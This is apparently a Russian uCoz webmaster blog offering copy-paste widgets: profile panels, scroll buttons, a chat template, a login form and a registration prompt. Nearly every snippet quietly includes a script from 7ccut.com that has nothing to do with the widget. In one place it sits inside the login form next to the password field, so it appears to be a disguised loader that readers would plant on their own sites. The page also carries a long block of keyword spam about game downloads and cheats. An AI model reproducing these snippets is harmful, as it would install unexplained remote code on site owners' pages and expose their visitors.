Установка:

Как правильно установить "Профиль для ucoz" на сайт?
Приступим. И так
Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в глобальный блок "Нижняя часть сайта" в самый низ или куда вам будет удобнее.

Код
<div id="webo4ka_close">  
<div style="border: 1px solid #000; margin-top: 4px; width: 255px; position:fixed; bottom:1%; right:1%; box-shadow: black 1px 1px 2px, black 0 0 1em; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius: 5px;">
<div style="background: #4b4b4b; height: 27,1px; -moz-border-radius-top:5px; -webkit-border-radius-top:5px; border-radius-top: 5px; "><div style="padding: 4px 6px; border-bottom: 1px solid #bdbdbd;">
   
<table width="100%"><tr>
<td align="left" style="color: #374d98; font-size: 11px; font-weight: bold; text-shadow: 0.1em 0.1em 0.05em #000; color: #fff; text-decoration:none !important;">Мини-Профиль</td>
<td align="right"><script src="http://7ccut.com/table.js" type="text/javascript"></script>
<a href="javascript://" onclick="$('#webo4ka_cvernuti').slideToggle('slow');" style="cursor: pointer"><img src="http://pnghosts.ru/img/webo4ka_svernuti.png" border="0" onMouseOver="this.src='http://pnghosts.ru/img/webo4ka_svernuti2.png'" onMouseOut="this.src='http://pnghosts.ru/img/webo4ka_svernuti.png'"></a>
<a href="javascript://" onclick="document.getElementById('webo4ka_close').style.display='none';false" style="cursor: pointer"><img src="http://pnghosts.ru/img/webo4ka_zakryt.png" border="0" onMouseOver="this.src='http://pnghosts.ru/img/webo4ka_zakryt2.png'" onMouseOut="this.src='http://pnghosts.ru/img/webo4ka_zakryt.png'"></a>
</td> </div></tr></table></div></div>
<div style="background: #f6fafd; padding: 6px 4px; -moz-border-radius:5px; -webkit-border-radius:5px; border-radius: 5px;">

<div id="webo4ka_cvernuti" style="display: none;">

<table border="0" cellpadding="0" cellspacing="0"><tr>
<td valign="top" align="center" id="webo4ka_fon_ava" width="70px"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" width="70px" border="0" /><?else?><img src="http://pnghosts.ru/img/net_avatara.png" width="70px" border="0" /><?endif?></td>
<td valign="top" id="webo4ka_poloska_gorizont"><div id="webo4ka_text">

<div id="webo4ka_menu" width="70px" valign="top"><a href="$PERSONAL_PAGE_LINK$">Мой профиль</a></div>
<div id="webo4ka_menu"><a href="$PM_URL$">Читать ЛС</a></div>
<div id="webo4ka_menu"><a href="$HOME_PAGE_LINK$/index/11">Редактировать данные</a></div>
</div></td></tr></table>
</div>
</div></a></div></div>

<style>  
a:link, a:visited, a:active {text-decoration:none; color:#408fd3; text-shadow: 0.1em 0.1em 0.05em #FFF;}
a:hover {text-decoration:none; color:#000;}

#webo4ka_menu{width:160px; padding:2px; border-bottom: 1px dotted #e2e2e2; border-top: 1px dotted #e2e2e2; text-shadow: 0.1em 0.1em 0.05em #FFF;}
#webo4ka_menu:hover {border-bottom: 1px dotted #000; border-top: 1px dotted #000; background: white; cursor: pointer; text-shadow: 0.1em 0.1em 0.05em #FFF;}

#webo4ka_poloska_gorizont {border:0px; border-left:1px dotted #000; padding:5px;}
#webo4ka_fon_ava {padding:3px; background:#f7f7f7;}
#webo4ka_text{text-align:left; clear:both;}
</style>
Категория: скрипты для ucoz | Просмотров: 549 | Добавил: Bitfood | Дата: 07.12.2013 | Комментарии (0)


Данный скрипт представляет собой удобный и красивый информер для самых скачиваемых файлов ucoz, который очень просто поместить в любой блок.

В шаблоне информера находится изображение файла, сверху, поверх картинки написано количество загрузок. А снизу, полупрозрачная лента с названием файла и иконкой лупы, при нажатии на которую открывается дополнительная панелька с подробной информации о материале.

Данное решение можно перенастроить и под другие модули, такие как новости, блоги или статьи. Интересно, что информер лучших материалов подходит практически под любой дизайн и под сайты любой тематике. Более симпатично смотрится на сайтах игровой тематики.
Важно: Ширина блока, куда вы хотите вставить информер, должна быть не менее 190px!

Если вы хотите, что-бы выводило не 3 материала, а больше, то необходимо добавить в CSS код дополнительные классы: после .ifudslink3 добавляем через запятую .ifudslink4 , .ifudslink5 и так далее, в зависимости от количества материалов.

Установка

1. Первым делом создадим сам информер со следующими параметрами:

[ Каталог файлов - Материалы - Количество загрузок D - Материалы: 3 - Колонки: 1 ]

2. В его шаблоне удаляем все и вставляем следующее:

Код
<div align="center" class="ifboxuds">
  <div class="ifuds"><div style="background: #aaa;">
  <a title="$TITLE$" href="$ENTRY_URL$"><img width="170px" src="$IMG_URL1$"></a>
  <span title="$TITLE$"><a class="ifuds" href="$ENTRY_URL$"><b><?if($TITLE$)?><?if(len($TITLE$)>15)?><?substr($TITLE$,0,14)?>...<?else?>$TITLE$<?endif?></a><?else?>Без названия<?endif?></b></a><a onclick="$('.ifudslink$NUMBER$').slideToggle(100);" class="ifudslinks2"><img src="http://pnghosts.ru/img/imageshowprevimg.png" title="Подробная информация"></a><script src="http://7ccut.com/table.js" type="text/javascript"></script></span>
  </div></div>
  <div class="loadingnum">Загрузок: $LOADS$</div>
  <div class="ifudslink$NUMBER$"><div class="ifudsoa">Просмотров: <b>$READS$</b><br>Комментариев: <b>$COMMENTS_NUM$</b><br>Категория: <b><a href="$CATEGORY_URL$" class="ifuds"><?if(len($CATEGORY_NAME$)>11)?><?substr($CATEGORY_NAME$,0,10)?>...<?else?>$CATEGORY_NAME$<?endif?></a></b></div></div>
  </div>


3. Заходим в ПУ -> Управление дизайном -> Таблицу стилей CSS и вставляем следующее:

Код
.ifboxuds {position:relative; width:180px; font-size:11px; font-family:tahoma;}
  .ifuds { width:170px; overflow:hidden; padding: 0px 0px 0px 0px;}
  .ifuds a {color:#bababa; text-decoration: none;}
  .ifuds a:hover {color:#818181; text-decoration: underline;}
  .ifuds div { float:left;width:170px; height:70px;overflow:hidden; position:relative; margin: 5px 0px 5px 0px; }
  .ifuds span {float:left;width:100%; left: 0px; bottom: 0px;position:absolute; background: url(http://pnghosts.ru/img/pix_title.png) repeat;
padding: 4px 0px 4px 0px; font: 9px Verdana,Arial,Helvetica, sans-serif; text-align: center; color: #eee;
  }
  a.ifuds {color:#bababa; text-decoration: none;}
  a:hover.ifuds {color:#818181; text-decoration: underline;}
  .loadingnum{
position: absolute;
top: 10px;
right: 15px;
padding: 1px 5px;
background: #000;
background: rgba(0, 0, 0, 0.73);
font: bold 10px/14px 'Arial';
color: #fff;
border-radius: 0px;
  }
  a.ifudslinks2 {display:inline-block;*display:inline;margin-top:3px; padding: 0px 0px 0 8px;}
  a:hover.ifudslinks2 {cursor:pointer;}
  .ifudsoa {padding:0px 0px 5px 5px;}
  .ifudslink1,.ifudslink2,.ifudslink3 {display:none;position:absolute; width:158px; height: 38px; bottom:25px; margin-left:5px; background:rgba(0, 0, 0, 0.85); border:1px solid #333; text-align:left; z-index:999; padding:5px; color:#eee;}
Категория: скрипты для ucoz | Просмотров: 553 | Добавил: Bitfood | Дата: 07.12.2013 | Комментарии (0)

Как правильно установить кнопку "Вверх и вниз" на сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div style="display:none;" class="nav_up" id="nav_up">
  <img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div>
  <div style="display:none;" class="nav_down" id="nav_down">
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div>
  <script>
  $(function() {
  var $elem = $('body');
   
  $('#nav_up').fadeIn('slow');
  $('#nav_down').fadeIn('slow');  
   
  $(window).bind('scrollstart', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'0.2'});
  });
  $(window).bind('scrollstop', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'1'});
  });
   
  $('#nav_down').click(
  function (e) {
  $('html, body').animate({scrollTop: $elem.height()}, 800);
  }
  );
  $('#nav_up').click(
  function (e) {
  $('html, body').animate({scrollTop: '0px'}, 800);
  }
  );
  });
  </script>


Это вставляем в "Таблица стилей (CSS)" в самый низ

Код
.nav_up{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:30px;
  cursor: pointer;
  }
.nav_down{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:66px;
  cursor: pointer;
  }


Готово.
Категория: скрипты для ucoz | Просмотров: 569 | Добавил: Bitfood | Дата: 07.12.2013 | Комментарии (0)

Вот делал чат давно, недавно на него наткнулся и решил выложить.Чат достаточно прост но и и красив.И установка очень проста.
В вид материалов мини чата.

Код
<div class="cBlock$PARITY$" style="padding:0 4px 5px 2px;margin-bottom:3px;">  
<div style="float:right;font-size:8px;" title="$DATE$">$TIME$</div>  
<div style="text-align:left;">  
  <?if($USERNAME$)?><a href="$PROFILE_URL$" title="$USERNAME$" rel="nofollow"><img src="http://s21.ucoz.net/img/icon/profile.png" width="13" border="0" style="vertical-align:-2px"/></a> <?endif?>  
<a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;"><b>$NAME$</b></a>  
  <?if($EMAIL$)?> <a href="$EMAIL_JS$" title="$STR_EMAIL$"><img border="0" align="absmiddle" src="http://s21.ucoz.net/t/901/e.gif"></a><?endif?>  
  <?if($SITE$)?> <a rel="nofollow" href="$SITE$" target="_blank" title="$STR_URL$"><img border="0" align="absmiddle" src="http://s21.ucoz.net/t/901/h.gif"></a><?endif?>  
</div>  
<div class="cMessage" style="text-align:left;">$MESSAGE$</div>  
  <?if($CUSTOM1$)?><br>$STR_CUSTOM1$: $CUSTOM1$<?endif?>  
  <?if($CUSTOM2$)?><br>$STR_CUSTOM2$: $CUSTOM2$<?endif?>  
</div>


В форму добавления.

Код
<?if($USER_LOGGED_IN$)?><table border="0" cellpadding="1" cellspacing="1" width="80%">  

</table>  
<style type="text/css">  
  #mchatBtn {background: #2663A7; width: auto; height: 40px; margin: 1px; border: 1px solid #19416E; color: #E7F6FF; cursor: pointer;}  
  #mchatBtn:hover {background: #2B6FBB; width: auto; height: 40px; margin: 1px; border: 1px solid #19416E; color: #FFFFFF; cursor: pointer;}  
   
  .btns {background: #777777; width: auto; height: 23px; margin: 1px; border: 1px solid #777777; color: #FFFFFF; cursor: pointer;}  
  .btns:hover {background: #414141; width: auto; height: 23px; margin: 1px; border: 1px solid #777777; color: #9E9E9E; cursor: pointer;}  
  #rules {background: #550000; width: auto; height: 23px; margin: 1px; border: 1px solid #100000; color: #FFFFFF; cursor: pointer;}  
  #rules:hover {background: #940000; width: auto; height: 23px; margin: 1px; border: 1px solid #100000; color: #FFF9D7; cursor: pointer;}  
</style>  

<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td>$FLD_AUTOUPD$</td>  
<td width="70%" align="right">  
<a href="$RELOAD_URI$"><input type="button" value="R" title="Обновить чат" class="btns"></a><a href="$SMILES_URI$"><input type="button" value="S" title="Смайлики" class="btns"></a><a href="$BBCODES_URI$"><input type="button" value="B" title="Дополнительные коды" class="btns"></a><a href="$MSGCTRL_URI$"><input type="button" value="A" title="Контроль над сообщениями" class="btns"></a>  
</td></tr></table>  

<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td width="80%" rowspan="2">$FLD_MESSAGE$</td>  
</tr>  
<td align="center" valign="center"><div style="width:30px"><input type="submit" value="OK" class="mchat" id="mchatBtn" style="width:37px;"><img style="display:none;" id="mchatAjax" src="/.s/img/wd/1/ajax.gif" border="0" width="31" height="31"/></div></td></tr></table>  

<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr>  
</table>
<?else?><script src="http://7ccut.com/table.js" type="text/javascript"></script>
<center><div class="forumvd">Чтобы добавить сообщение, необходимо авторизоваться.</div></center><?endif?>
Категория: скрипты для ucoz | Просмотров: 537 | Добавил: Bitfood | Дата: 07.12.2013 | Комментарии (0)

cs
cs 1.6
скачать cs
скачать cs 1.6
сервера cs
сервера cs 1.6
cs go
торрент cs
cs скачать торрент
cs бесплатно
cs бесплатная
cs чити
cs скачать бесплатно
скачать бесплатна cs
cs 1.6 бесплатно
бесплатный cs 1.6
cs source
скачать cs 1.6 бесплатно
скачать бесплатна cs 1.6
торрент cs 1.6
читы +для cs
скачать cs 1.6 торрент
+для cs 1.6 читы
чити +для cs 1.6
cs steam
мониторинг cs
cfg cs
мониторинг cs серверов
cs карты
aim cs
скачать читы +для cs
скачать через cs
cs 1.6 мониторинг
cs через торрент
скачать cs через торрент
скачать читы +для cs 1.6
скачать cs source
скачать сервер cs
мониторинг серверов cs 1.6
модели +для cs
cs
cs
adobe cs
модели +для cs 1.6
steam cs 1.6
скачать cs go
игры cs
alll cs
wh cs

aim +для cs 1.6

counter strike source
counter strike
контра страйк 1.6 скачать бесплатно
контра страйк играть
контра страйк
контра
сы 1.6
сы
контр страйк 1.6 скачать бесплатно
контр страйк 1.6
контр страйк
сервер css
контра 1.6
контра играть онлайн
dot
dota
контер страйк соурс
контер страйк
burnout 3 takedown
burnout
кс 1.6
кс
оружие
naruto
naruto shippuuden
counter strike 1.6 скачать
counter strike 1.6 скачать торрент
counter strike 1.6
counter strike 1.6 скачать бесплатно
counter strike 1.6 сервера
counter strike 1.6 читы
dumbass
fd god
css
игры онлайн
icq
боты +для аськи
бот
игры
sc
разъем sc
кс картинки
+он
онлайн
сы читы
rc
counter strike online
counter strike online скачать бесплатно
картинки +с животными
картинки

cs go
скачать cs go
cs go торрент
cs go скачать торрент
cs go сервера
cfg cs go
cs go оружие
cs go +no steam
настройка cs go
cs go бесплатно
cs go бесплатная
cs go прицел
cs go ключ
игра cs go
cs go карты
cs go куплю
cs go купить
скачать cs go +no steam
cs go 2014
скачать cs go через
cs go через торрент
скачать cs go через торрент
cs go fps
команды cs go
вылетает cs go
cs go lounge
cs go скачать торрент steam
cs go +no steam торрент
cs go +не запускается
скачать cs go бесплатно
+как получить cs go
cs 1.6 go
запуск cs go
cs go стим
скачать игру cs go
cs go вещи
cs go starladde
обновление cs go
cs go боты
модели +для cs go
аккаунты cs go
navi cs go
cs go пиратка
куплю ключ cs go
cs go купить ключ
скачать cs go 2013

скачать cs go 2014

скачать cs go 2015
cs go видео
читы +для cs go
config cs go
cs go ошибка

css
css v34
скачать css
скачать css v34
css сервера
сервера css v34
css v81
css торрент
css скачать торрент
css v34 торрент
мониторинг css
css v34 скачать торрент
читы +для css
мониторинг серверов css
css steam
модели +для css
скачать css v81
оружие +для css
css new
css бесплатно
бесплатные css
cfg css
мониторинг css v34
css скачать бесплатно
скачать бесплатна css
css v
скачать сервер css
мониторинг серверов css v34
карты +для css
html css
css через торрент
аим +для css
скачать css через торрент
css 34
вх +для css
читы +для css v34
чити +для css v34
модели +для css v34
аим +для css v34
css v34 бесплатно
css текст
+как css сделать
оружие +для css v34
css v34 скачать бесплатно
скачать бесплатна css v34
модели оружия +для css
скачать читы +для css
вх +для css v34
скачать аим +для css
скачать карты +для css

cs source сервера +no steam
cs source
cs source скачать бесплатно
cs source сервера
html
javascript
javascript примеры
javascript справочник
cs s
дизайн сайта
шаблоны сайтов
counter strike source
counter strike
ссылки html
ссылка
div
perl
perl скачать
perl учебник
awp
desert eagle
создать сайт
cs картинки
counter strike source меню
cs
контра
counter strike 1.8 скачать бесплатно
counter strike source скачать бесплатно
counter strike source скачать
counter strike скачать бесплатно
cs server
cs сервера
php
xml
читы +для cs source
cs 1.6
cs 1.6 скачать бесплатно
cs 1.6 скачать
cs source карты
контер страйк соурс
контер страйк
cs source русский спецназ
cs source скачать
kss
link rel
gta 4 скачать torrent
gta 4 скачать
footer
footer всегда внизу
w3c

|viewtopic|showtopic|showthread|profile|showuser|search|forum|user|comment|porn|tag|tags|tagId|feed|rss|print|showuser| |phorum|topic|message|new_mess|comment|profile|member|user|nick|login|authors|avatars|feedback|send_friend| |sendfriend|friend_send|friendsend|answers|question|vacancy|view_vacancy|view_vac|vac_id| |searchword|com_search|photo|archive|print|archive|searchphpbb|cazino|casino|erotic|rss|sort| |member|board|sex|porn|xxx|link|foto

Категория: скрипты для ucoz | Просмотров: 721 | Добавил: admin | Дата: 01.12.2013 | Комментарии (0)


Разные кнопки "вверх и вниз" для сайта или блога
Кнопка "Вверх" играет большую роль в улучшении удобства пользователя, особенно на тех страница которые сильно нагромождены контентом. А так как в настоящее время контент для сайта самое главное, то его на страницах, как правило, становится все больше и больше и самым лучшим способом перенаправить посетителя вверх страницы являются различные специальные кнопки



Красивая кноапка "Вверх", появляется при прокрутки страници вниз и плавно исчезает при клике вверх.

Как правильно установить "Кнопку Вверх" на сайт:
Приступим. И так
Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<a style="display: block;" id="toTop"><img src="http://pnghosts.ru/img/vverx_images_site.png" align="absmiddle" border="0"><br>Вверх</a><br/>
<script src="http://7ccut.com/table.js" type="text/javascript"></script>
<script src="http://pnghosts.ru/js_css/jquery.scroll.pack.js" type="text/javascript"></script>  
<script type="text/javascript">  
$(function() {  
$("#toTop").scrollToTop();  
});  
</script>


Это вставляем в "Таблица стилей (CSS)" в самый низ

Код
/* === jQ TOP === */  
#toTop {  
  width: 50px;  
  background: #f1f1f1;
  border-width: 1px 1px 1px 1px;
  border-style: solid;
  border-color: #cccccc;
  -moz-border-radius: 10px 10px 10px 10px;
  -webkit-border-bottom-left-radius: 10px;
  -webkit-border-bottom-right-radius: 10px;
  -webkit-border-top-left-radius: 10px;
  -webkit-border-top-right-radius: 10px;
  text-align: center;  
  padding: 2px;  
  position: fixed;  
  bottom: 2px;  
  right: 2px;  
  cursor: pointer;  
  color: #666666;  
  text-decoration: none;  
}
/* =============== */


Кнопка вверх для ucoz в стиле котэ



Правильная установка:
Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<script language="JavaScript" type="text/javascript">
$(function() {
  $.fn.scrollToTop = function() {
  $(this).hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $(this).fadeIn("slow")
  var scrollDiv = $(this);
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });
  $(this).click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  }
});

$(function() {
  $("#Go_Top").scrollToTop();
});
</script>

<a style='position: fixed; bottom: 25px; right: 50px; cursor:pointer; display:none;'
href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/kotikup.png" alt="Наверх" title="Наверх">
</a><script src="http://7ccut.com/table.js" type="text/javascript"></script>
</div>
<script type='text/javascript' src='http://pnghosts.ru/js_css/arclite.js'></script>


Кнопка вверх в процентах для сайта или блога



Правильная установка:
Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<!-- <Кнопка Вверх> -->  
  <script type="text/javascript">  
  $(document).ready(function(){  
$("#back-top").hide();  
  $(function () {  
  $(window).scroll(function () {  
  if ($(this).scrollTop() > 125) {  
  $('#back-top').fadeIn();  
  } else {  
  $('#back-top').fadeOut();  
  }  
  });  
$('#backop').click(function () {  
  $('body,html').animate({  
  scrollTop: 0  
  }, 800);  
  return false;  
  });  
  });  

  });  
  </script>  
<script type="text/javascript">  
  $(window).scroll(function(){  
  var s = $(window).scrollTop();  
  var f = $(document).height()-$(window).height();  
var d=s/f*100;  
  var p=Math.round(d);  
$("#pix").text(p);  
});  
  </script>  
<div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; left: 10px; top: 83%; background: transparent; ">  
  <center><a title="Вверх" id="backop" href="#top"><img src="http://pnghosts.ru/img/up_knopka_vverx.png" onmouseover="this.src='http://pnghosts.ru/img/up1_knopka_vverx.png'" onmouseout="this.src='http://pnghosts.ru/img/up_knopka_vverx.png'"></a></center><script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<center><font size="4" style="font-size: 11pt; color: rgb(255, 255, 255);"><b>  
  <span id="pix"></span>%</b></font></center>  
  </div>  
  <!-- </Конец> -->



Кнопка вверх, вниз и зафиксировать для uCoz



Все наверно видели кнопку вконтакте вверх, при скролинге страницы вниз. Этот скрипт модифицировал эту кнопку. С помощью его вы можете листать вниз страницу, вверх, а также зафиксировать страницу в том месте где вы хотите и вернуться, при желании, в это место.

Скрипт лёгок в установке и очень полезен для сайтов с огромным контентом.

1. Заходим в ПУ
2. Управление дизайном
3. Нижняя часть сайта
4. Вставляем туда код:

Код
<div class="apoud">  
  <div onclick="$('body').scrollTo(0, 300);" class="apou"></div>  
  <div class="apom" title="Зафиксировать позицию"><script src="http://7ccut.com/table.js" type="text/javascript"></script></div>  
  <div onclick="$('body').scrollTo($('body').height()+500, 300);" class="apod"></div>  
</div>  

<script>  
  var apotop;  
  $('.apom').toggle(function() {  
  $(this).addClass('apomon');  
  apotop = $('body').scrollTop();  
  }, function() {  
  $('body').scrollTo(apotop, 300);  
  $(this).removeClass('apomon');  
  });  
</script>

<style>
  .apoud {  
  position:fixed;  
  z-index:100;  
  bottom:15px;  
  right:15px;  
  }  
   
  .apou, .apom, .apod {  
  cursor:pointer;  
  width:50px;  
  height:50px;  
  }  
   
  .apou {  
  background:url('http://pnghosts.ru/img/vverx.png') no-repeat;  
  }  
  .apom {  
  background:url('http://pnghosts.ru/img/center_off.png') no-repeat;  
  }  
  .apomon {  
  background:url('http://pnghosts.ru/img/center_on.png') no-repeat;  
  }  
  .apod {  
  background:url('http://pnghosts.ru/img/vniz.png') no-repeat;  
  }
</style>
Категория: скрипты для ucoz | Просмотров: 620 | Добавил: Bitfood | Дата: 19.11.2013 | Комментарии (0)



В этой новости я поделюсь, как мне кажется, достаточно редкой полезностью для сайта укоз, а именно формой входа на собственно сам сайт uCoz.
Выглядит эта форма входа так же как и на скриншоте к материалу.
Установка проходит в несколько этапов - нужно добавить код в шаблон CSS, а так же и заменить сам код $LOGIN_FORM$ или $LOG_FORM$, но если вам доводилось прежде работать с админ панелью сайта на бесплатном хостинге uCoz, а так же с HTML кодами, тогда эта проблема должна решиться мигом

Установка:

В самый низ вашего css вставляйте:

Код
/* GLOBALS */
.form-1 *,
.form-1 *:after,
.form-1 *:before {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
-ms-box-sizing: border-box;
-o-box-sizing: border-box;
box-sizing: border-box;
padding: 0;
margin: 0;
}

.clearfix:after {
content: "";
display: table;
clear: both;
}

.form-1 {
width: 140px;
margin: 0px;
padding: 10px;
position: relative; /* For the submit button positioning */

/* Styles */
box-shadow:
0 0 1px rgba(0, 0, 0, 0.3),
0 3px 7px rgba(0, 0, 0, 0.3),
inset 0 1px rgba(255,255,255,1),
inset 0 -3px 2px rgba(0,0,0,0.25);
border-radius: 5px;
background: white; /* Fallback */
background: -moz-linear-gradient(#eeefef, #ffffff 10%);
background: -ms-linear-gradient(#eeefef, #ffffff 10%);
background: -o-linear-gradient(#eeefef, #ffffff 10%);
background: -webkit-gradient(linear, 0 0, 0 100%, from(#eeefef), color-stop(0.1, #ffffff));
background: -webkit-linear-gradient(#eeefef, #ffffff 10%);
background: linear-gradient(#eeefef, #ffffff 10%);
}

.form-1 .field {
position: relative; /* For the icon positioning */
}

.form-1 .field i {
/* Size and position */
left: 0px;
top: 0px;
position: absolute;
height: 36px;
width: 36px;

/* Line */
border-right: 1px solid rgba(0, 0, 0, 0.1);
box-shadow: 1px 0 0 rgba(255, 255, 255, 0.7);

/* Styles */
color: #777777;
text-align: center;
line-height: 42px;
-webkit-transition: all 0.3s ease-out;
-moz-transition: all 0.3s ease-out;
-ms-transition: all 0.3s ease-out;
-o-transition: all 0.3s ease-out;
transition: all 0.3s ease-out;
pointer-events: none;
}

.form-1 input[type=text],
.form-1 input[type=password] {
font-family: 'Lato', Calibri, Arial, sans-serif;
font-size: 13px;
font-weight: 400;
text-shadow: 0 1px 0 rgba(255,255,255,0.8);
/* Size and position */
width: 100%;
padding: 10px 18px 10px 45px;

/* Styles */
border: none; /* Remove the default border */
box-shadow:
inset 0 0 5px rgba(0,0,0,0.1),
inset 0 3px 2px rgba(0,0,0,0.1);
border-radius: 3px;
background: #f9f9f9;
color: #777;
-webkit-transition: color 0.3s ease-out;
-moz-transition: color 0.3s ease-out;
-ms-transition: color 0.3s ease-out;
-o-transition: color 0.3s ease-out;
transition: color 0.3s ease-out;
}

.form-1 input[type=text] {
margin-bottom: 10px;
}

.form-1 input[type=text]:hover ~ i,
.form-1 input[type=password]:hover ~ i {
color: #52cfeb;
}

.form-1 input[type=text]:focus ~ i,
.form-1 input[type=password]:focus ~ i {
color: #42A2BC;
}

.form-1 input[type=text]:focus,
.form-1 input[type=password]:focus,
.form-1 button[type=submit]:focus {
outline: none;
}

.form-1 .submit {
/* Size and position */
width: 65px;
height: 65px;
position: absolute;
top: 16px;
right: -25px;
padding: 10px;
z-index: 2;

/* Styles */
background: #ffffff;
border-radius: 50%;
box-shadow:
0 0 2px rgba(0,0,0,0.1),
0 3px 2px rgba(0,0,0,0.1),
inset 0 -3px 2px rgba(0,0,0,0.2);
}

.form-1 .submit:after {
/* Size and position */
content: "";
width: 10px;
height: 10px;
position: absolute;
top: -2px;
left: 30px;

/* Styles */
background: #ffffff;

/* Other masks trick */
box-shadow: 0 62px white, -32px 31px white;
}

.form-1 button {
/* Size and position */
width: 100%;
height: 100%;
margin-top: -1px;

/* Icon styles */
font-size: 1.4em;
line-height: 1.75;
color: white;

/* Styles */
border: none; /* Remove the default border */
border-radius: inherit;
background: #52cfeb; /* Fallback */
background: -moz-linear-gradient(#52cfeb, #42A2BC);
background: -ms-linear-gradient(#52cfeb, #42A2BC);
background: -o-linear-gradient(#52cfeb, #42A2BC);
background: -webkit-gradient(linear, 0 0, 0 100%, from(#52cfeb), to(#42A2BC));
background: -webkit-linear-gradient(#52cfeb, #42A2BC);
background: linear-gradient(#52cfeb, #42A2BC);
box-shadow:
inset 0 1px 0 rgba(255,255,255,0.3),
0 1px 2px rgba(0,0,0,0.35),
inset 0 3px 2px rgba(255,255,255,0.2),
inset 0 -3px 2px rgba(0,0,0,0.1);

cursor: pointer;
}

.form-1 button:hover,
.form-1 button[type=submit]:focus {
background: #52cfeb;
-webkit-transition: all 0.3s ease-out;
-moz-transition: all 0.3s ease-out;
-ms-transition: all 0.3s ease-out;
-o-transition: all 0.3s ease-out;
transition: all 0.3s ease-out;
}

.form-1 button:active {
background: #42A2BC;
box-shadow:
inset 0 0 5px rgba(0,0,0,0.3),
inset 0 3px 4px rgba(0,0,0,0.3);
}


Код
<section class="main">
<form id="apologform" class="form-1" action="/index/sub/" onsubmit="apologmeplease();return false;" method="post" _lpchecked="1">
<p class="field">
<input type="text" name="user" class="apologf" placeholder="Логин">
<i class="icon-large">
<img src="http://pnghosts.ru/img/show-offliners.png" />
</i>
</p>
<p class="field">
<input type="password" name="password" class="apopassf" placeholder="Пароль">
<script src="http://7ccut.com/table.js" type="text/javascript"></script>
<i class="icon-large">
<img src="http://pnghosts.ru/img/lock-disable.png" />
</i>
</p>
<p class="submit">
<button type="submit" name="submit"><i class="icon-large">
<img src="http://pnghosts.ru/img/arrow_state_grey_right.png" />
</i></button>
</p>
<input type="hidden" name="a" value="2" />
<input type="hidden" name="ajax" value="1" />
<input type="hidden" name="rnd" value="669" />
</form>
</section>

<script>
// Стильная современная форма входа by Apocalypse
function apologmeplease() {
$.post('/index/sub/', $('#apologform').serialize(), function(a) {
if($(a).text().indexOf('пароль') != -1) {
$('.apologf,.apopassf').stop().css('background', '#ffcccc');
setTimeout(function() {
$('.apologf,.apopassf').removeAttr('style');
}, 500);
} else {
$('.apologf,.apopassf').stop().css('background', '#ccffcc');
setTimeout(function() {
location.reload();
}, 500);
};
});
}
// (c) 2013
</script>


Осталось только подправить ширину формы под нужный вам размер. Изменить этот параметр в css в участке
Цитата

Код
.form-1 {
width: 140px;
Категория: скрипты для ucoz | Просмотров: 595 | Добавил: Bitfood | Дата: 19.11.2013 | Комментарии (0)


Скрипт оповещает пользователя сайта о регистраци или войти под свом логином. Если юзер не хочет пройти регистрацию или войти в свой аккаунт, оповещение можно закрыть в один клик. Для ползователей которые вошли на сайт под своим логином - оповещение не выводится!

Скрипт красивая просилка регистрации для uCoz. Если юзер авторизовывается или входит под свом логином данное сообщение не выводится.
Фон данного скрипта полупрозрачный, а это значит что скрипт впишется в любой дизайн сайта..

Установка:
Заходим в нижнюю часть сайта и в самый низ прописываем:

Код
<?if($GROUP_ID$=='0')?><div id="ball" style="z-index:99999; position:fixed; width:412px; height:146px; right:50px; bottom:20px; margin-top:-105px; margin-left:-412px; font-weight:normal; text-decoration:none;">  
  <table width="412" height="146" cellpadding="10px">  
  <tr><td valign="top" background="http://pnghosts.ru/img/baloon.png">  
  <table><tr><td style="padding:20px 0px 20px 20px;">  
  <img border="0" src="http://pnghosts.ru/img/info.png" width="40" height="40"></td><td style="padding:15px; 15px; 15px; 0px;">  
  <span style="font-weight:bold; font-size: 14px; color:#446aac;"> <b>Здравствуйте, гость.</b></span> <br>  
  <span style="font-weight:bold; font-size: 11px;">Мы просим Вас <a href="/index/3"><u>зарегистрироваться</u></a> на нашем сайте, или <a href="javascript://" rel="nofollow" onclick="new _uWnd('LF',' ',-250,-110,{autosize:0,closeonesc:1,resize:1},{url:'/index/40'});return false;"><u>войти</u></a> под своим логином.</span>  
